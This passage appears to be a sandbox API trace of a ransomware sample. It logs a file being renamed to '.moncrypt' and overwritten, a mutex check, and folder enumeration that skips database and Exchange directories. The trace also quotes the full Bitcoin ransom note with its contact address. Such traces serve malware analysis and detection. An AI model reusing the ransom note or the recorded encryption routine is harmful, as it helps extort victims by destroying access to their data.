cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.263] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9í\x18", lpUsedDefaultChar=0x0) returned 1 [0056.263] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.263] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.263] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.263] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.263] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0056.263] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ví\x18", lpUsedDefaultChar=0x0) returned 1 [0056.263] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0056.263] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb", cchWideChar=64, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb ", lpUsedDefaultChar=0x0) returned 64 [0056.263] CharLowerBuffW (in: lpsz=".tlb", cchLength=0x4 | out: lpsz=".tlb") returned 0x4 [0056.263] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".tlb", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".tlbShared\\VSTO\\vstoee90.tlb ", lpUsedDefaultChar=0x0) returned 4 [0056.264] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5550, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 0x54e200 [0056.264] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0056.264] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0056.264] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0056.264] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb", dwFileAttributes=0x20) returned 1 [0056.266] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0056.266] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb.moncrypt")) returned 1 [0056.267] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0056.267] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0056.267] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x5550 [0056.267] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0056.267] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x4000, lpOverlapped=0x0) returned 1 [0056.270] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.270] GlobalLock (hMem=0x440004) returned 0x550170 [0056.270] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.270] GlobalUnlock (hMem=0x440004) returned 0 [0056.270] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0056.270] GlobalLock (hMem=0x440004) returned 0x55bb88 [0056.270] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0056.270] GlobalUnlock (hMem=0x440004) returned 0 [0056.270] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0056.270] GlobalLock (hMem=0x440004) returned 0x55bb88 [0056.270] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.270] GlobalUnlock (hMem=0x44000c) returned 0 [0056.270] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0056.270] GlobalUnlock (hMem=0x440004) returned 0 [0056.270] GlobalLock (hMem=0x440004) returned 0x550170 [0056.270] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.270] GlobalUnlock (hMem=0x440004) returned 0 [0056.270] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0056.270] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.270] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.270] GlobalUnlock (hMem=0x440004) returned 0 [0056.270] ReadFile (in: hFile=0x188, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18ea34*=0x20, lpOverlapped=0x0) returned 1 [0056.271] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0056.271] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0x4020, lpOverlapped=0x0) returned 1 [0056.271] SetFilePointer (in: hFile=0x188, lDistanceToMove=21840, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x5550 [0056.271] WriteFile (in: hFile=0x188, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18ea30*=0x20, lpOverlapped=0x0) returned 1 [0056.271] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0056.271] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d38*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d38*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0056.283] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0056.283] CloseHandle (hObject=0x188) returned 1 [0056.284] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0056.284] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0056.284] CloseHandle (hObject=0x188) returned 1 [0056.284] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb.moncrypt", dwFileAttributes=0x20) returned 1 [0056.285] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0056.285] GlobalLock (hMem=0x440004) returned 0x550170 [0056.285] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.285] GlobalUnlock (hMem=0x440004) returned 0 [0056.285] GlobalLock (hMem=0x440004) returned 0x550170 [0056.285] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.285] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.285] GlobalUnlock (hMem=0x440004) returned 0 [0056.285] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.285] GlobalUnlock (hMem=0x44000c) returned 0 [0056.285] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0056.285] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42b73560, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x42b73560, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x42b996c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e200 [0056.285] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0056.285] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0056.286] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0056.286] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0056.286] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0056.286] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0056.286] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0056.286] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0056.286] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0056.286] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0056.286] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc6d8, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0056.286] CloseHandle (hObject=0x188) returned 1 [0056.286] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5550, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 0 [0056.286] GetLastError () returned 0x12 [0056.286] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0056.287] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.287] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.287] GlobalUnlock (hMem=0x44000c) returned 0 [0056.287] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.287] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.287] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.287] GlobalUnlock (hMem=0x44000c) returned 0 [0056.287] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.287] GlobalUnlock (hMem=0x440004) returned 0 [0056.287] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61d18, cbMultiByte=3, lpWideCharStr=0x18ddd8, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\眵?\x18") returned 3 [0056.287] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x42b996c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x42b996c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0056.287] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0056.287] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.287] GlobalLock (hMem=0x440004) returned 0x550170 [0056.287] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.287] GlobalUnlock (hMem=0x440004) returned 0 [0056.287] GlobalLock (hMem=0x440004) returned 0x550170 [0056.287] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.287] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.287] GlobalUnlock (hMem=0x440004) returned 0 [0056.288] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.288] GlobalUnlock (hMem=0x44000c) returned 0 [0056.288] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.288] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x42b996c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x42b996c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.288] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.288] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.288] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.288] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.288] GlobalUnlock (hMem=0x44000c) returned 0 [0056.288] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.288] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.288] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.288] GlobalUnlock (hMem=0x44000c) returned 0 [0056.288] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.288] GlobalUnlock (hMem=0x440004) returned 0 [0056.288] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.288] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0056.288] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.288] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.288] GlobalLock (hMem=0x440004) returned 0x550170 [0056.288] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.288] GlobalUnlock (hMem=0x440004) returned 0 [0056.288] GlobalLock (hMem=0x440004) returned 0x550170 [0056.288] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.288] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.288] GlobalUnlock (hMem=0x440004) returned 0 [0056.289] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.289] GlobalUnlock (hMem=0x44000c) returned 0 [0056.289] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.289] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.289] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.289] GlobalUnlock (hMem=0x44000c) returned 0 [0056.289] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.289] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.289] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.289] GlobalUnlock (hMem=0x44000c) returned 0 [0056.289] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.289] GlobalUnlock (hMem=0x440004) returned 0 [0056.289] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.289] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0", len=0x38 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0") returned 1 [0056.289] GlobalLock (hMem=0x440004) returned 0x550170 [0056.289] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.289] GlobalUnlock (hMem=0x440004) returned 0 [0056.289] GlobalLock (hMem=0x440004) returned 0x550170 [0056.289] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.289] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.289] GlobalUnlock (hMem=0x440004) returned 0 [0056.289] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.289] GlobalUnlock (hMem=0x44000c) returned 0 [0056.289] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 26 [0056.290] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8a0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@夂U壖U企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0056.293] GetLastError () returned 0x3 [0056.293] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\") returned 0x39 [0056.293] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0056.293] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0056.293] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8a0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="㎬R䱠@塤U企@\x18㿬Q\x181")) returned 0xffffffff [0056.295] GetLastError () returned 0x2 [0056.295] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\") returned 0x39 [0056.295] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0056.295] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0056.295] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8a0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="㎬R䱠@嚔U企@\x18?T\x18;")) returned 0xffffffff [0056.296] GetLastError () returned 0x2 [0056.297] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\") returned 0x39 [0056.297] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0056.297] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct 